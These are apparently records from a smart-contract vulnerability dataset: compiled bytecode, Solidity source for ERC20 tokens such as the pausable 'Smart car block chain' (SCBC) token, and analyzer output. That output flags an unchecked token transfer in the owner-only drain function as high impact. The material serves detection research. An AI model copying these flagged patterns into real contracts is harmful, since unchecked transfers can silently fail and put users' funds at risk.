482018190526024820152600080516020610d03833981519152604482015290519081900360640190fd5b6008546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600880546001600160a01b0319169055565b60066020526000908152604090205460ff1681565b6008546001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104b65780601f1061048b576101008083540402835291602001916104b6565b6108e0610ada565b6008546001600160a01b03908116911614610930576040805162461bcd60e51b81526020600482018190526024820152600080516020610d03833981519152604482015290519081900360640190fd5b61093a8282610c41565b5050565b60006001600160a01b03831661095357600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546106ae9083610ade565b600061098e338484610af3565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6109ca610ada565b6008546001600160a01b03908116911614610a1a576040805162461bcd60e51b81526020600482018190526024820152600080516020610d03833981519152604482015290519081900360640190fd5b6001600160a01b038116610a5f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610cdd6026913960400191505060405180910390fd5b6008546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b60075481565b600082820183811015610ad357600080fd5b9392505050565b3390565b600082821115610aed57600080fd5b50900390565b6001600160a01b038216610b0657600080fd5b6001600160a01b03821660009081526006602052604090205460ff16610b95576007546001600160a01b038316600090815260208190526040902054610b4c9083610ac1565b1115610b95576040805162461bcd60e51b815260206004820152601360248201527215d85b1b195d08131a5b5a5d08115e18d95959606a1b604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054610bb89082610ade565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be79082610ac1565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001600160a01b038216610c5457600080fd5b600254610c619082610ade565b6002556001600160a01b038216600090815260208190526040902054610c879082610ade565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220cc4393fb3784012b772fd5985e81b675057dec5d1e54d6ea9156e8c8691ee8b964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,151 |
0xa08af67a90ebf97dd089a6114be1e9aa90038604
|
pragma solidity ^0.4.18;
/**
* Erc20代币
* 主体:新加坡:Fly Chain Limited
* Smart car block chain 构建于传统汽车产业和“互联网+”汽车产业的基础之上,致力于使用区块链技术创新的汽车行业生态。
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = false;
bool public pausedOwnerAdmin = false;
address public admin;
/**
* @dev Modifier to make a function callable based on pause states.
*/
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
require(msg.sender == admin || msg.sender == owner);
} else {
revert();
}
}
_;
}
/**
* @dev called by the owner to set new pause flags
* pausedPublic can't be false while pausedOwnerAdmin is true
*/
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public {
require(!(newPausedPublic == false && newPausedOwnerAdmin == true));
pausedPublic = newPausedPublic;
pausedOwnerAdmin = newPausedOwnerAdmin;
PausePublic(newPausedPublic);
PauseOwnerAdmin(newPausedOwnerAdmin);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Smartcarblockchain is PausableToken {
string public constant name = "Smart car block chain";
string public constant symbol = "SCBC";
uint8 public constant decimals = 6;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
function Smartcarblockchain( address _admin, uint _totalTokenAmount )
{
// assign the admin account
admin = _admin;
// assign the total tokens to SunPower
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
Transfer(address(0x0), msg.sender, _totalTokenAmount);
}
function transfer(address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) returns (bool)
{
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
// owner can drain tokens that are sent here by mistake
token.transfer( owner, amount );
}
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
function changeAdmin(address newAdmin) onlyOwner {
// owner can re-assign the admin
AdminTransferred(admin, newAdmin);
admin = newAdmin;
}
}
|
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b057806318160ddd1461020a57806323b872dd1461023357806324bb7c26146102ac578063313ce567146102d957806342966c681461030857806364779ad714610343578063661884631461037057806370a08231146103ca57806379cc6790146104175780638da5cb5b146104715780638f283970146104c657806395d89b41146104ff578063a9059cbb1461058d578063d73dd623146105e7578063db0e16f114610641578063dd62ed3e14610683578063ddeb5094146106ef578063f2fde38b1461071f578063f851a44014610758575b600080fd5b341561012d57600080fd5b6101356107ad565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017557808201518184015260208101905061015a565b50505050905090810190601f1680156101a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bb57600080fd5b6101f0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e6565b604051808215151515815260200191505060405180910390f35b341561021557600080fd5b61021d6108e4565b6040518082815260200191505060405180910390f35b341561023e57600080fd5b610292600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108ea565b604051808215151515815260200191505060405180910390f35b34156102b757600080fd5b6102bf610979565b604051808215151515815260200191505060405180910390f35b34156102e457600080fd5b6102ec61098c565b604051808260ff1660ff16815260200191505060405180910390f35b341561031357600080fd5b6103296004808035906020019091905050610991565b604051808215151515815260200191505060405180910390f35b341561034e57600080fd5b610356610b00565b604051808215151515815260200191505060405180910390f35b341561037b57600080fd5b6103b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b13565b604051808215151515815260200191505060405180910390f35b34156103d557600080fd5b610401600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c11565b6040518082815260200191505060405180910390f35b341561042257600080fd5b610457600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c5a565b604051808215151515815260200191505060405180910390f35b341561047c57600080fd5b610484610c80565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104d157600080fd5b6104fd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca6565b005b341561050a57600080fd5b610512610dc2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610552578082015181840152602081019050610537565b50505050905090810190601f16801561057f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561059857600080fd5b6105cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dfb565b604051808215151515815260200191505060405180910390f35b34156105f257600080fd5b610627600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e88565b604051808215151515815260200191505060405180910390f35b341561064c57600080fd5b610681600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f86565b005b341561068e57600080fd5b6106d9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110cf565b6040518082815260200191505060405180910390f35b34156106fa57600080fd5b61071d600480803515159060200190919080351515906020019091905050611156565b005b341561072a57600080fd5b610756600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611284565b005b341561076357600080fd5b61076b6113dc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280601581526020017f536d6172742063617220626c6f636b20636861696e000000000000000000000081525081565b6000600360149054906101000a900460ff16156108d257600360159054906101000a900460ff1615156108cc57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108bc5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156108c757600080fd5b6108d1565b600080fd5b5b6108dc8383611402565b905092915050565b60005481565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561092957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561096457600080fd5b61096f8585856114f4565b9150509392505050565b600360149054906101000a900460ff1681565b600681565b60006109e582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3d826000546115f490919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600360159054906101000a900460ff1681565b6000600360149054906101000a900460ff1615610bff57600360159054906101000a900460ff161515610bf957600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610be95750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610bf457600080fd5b610bfe565b600080fd5b5b610c09838361160d565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610c678333846108ea565b1515610c6f57fe5b610c7882610991565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d0257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600481526020017f534342430000000000000000000000000000000000000000000000000000000081525081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e3a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e7557600080fd5b610e7f848461189e565b91505092915050565b6000600360149054906101000a900460ff1615610f7457600360159054906101000a900460ff161515610f6e57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f5e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f6957600080fd5b610f73565b600080fd5b5b610f7e838361199c565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe257600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156110af57600080fd5b6102c65a03f115156110c057600080fd5b50505060405180519050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b257600080fd5b600015158215151480156111ca575060011515811515145b1515156111d657600080fd5b81600360146101000a81548160ff02191690831515021790555080600360156101000a81548160ff0219169083151502179055507fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb082604051808215151515815260200191505060405180910390a17fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b581604051808215151515815260200191505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112e057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561131c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff16156115e057600360159054906101000a900460ff1615156115da57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115ca5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156115d557600080fd5b6115df565b600080fd5b5b6115eb848484611b98565b90509392505050565b600082821115151561160257fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561171e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117b2565b61173183826115f490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff161561198a57600360159054906101000a900460ff16151561198457600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119745750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561197f57600080fd5b611989565b600080fd5b5b6119948383611f57565b905092915050565b6000611a2d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611bd557600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c2357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cae57600080fd5b611d0082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e6782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611f9457600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611fe257600080fd5b61203482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120c982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561218f57fe5b80915050929150505600a165627a7a723058206f93ebe899351cc74f750d99103f96289c10a8807fe552486b6c1538ee8aae3f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,152 |
0x12C834F49f1A5732044f72796f57ddB3dA2F76d5
|
/**
*Submitted for verification at Etherscan.io on 2018-10-30
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string name,
string symbol,
uint8 decimals,
uint256 totalSupply
) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns (string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender)
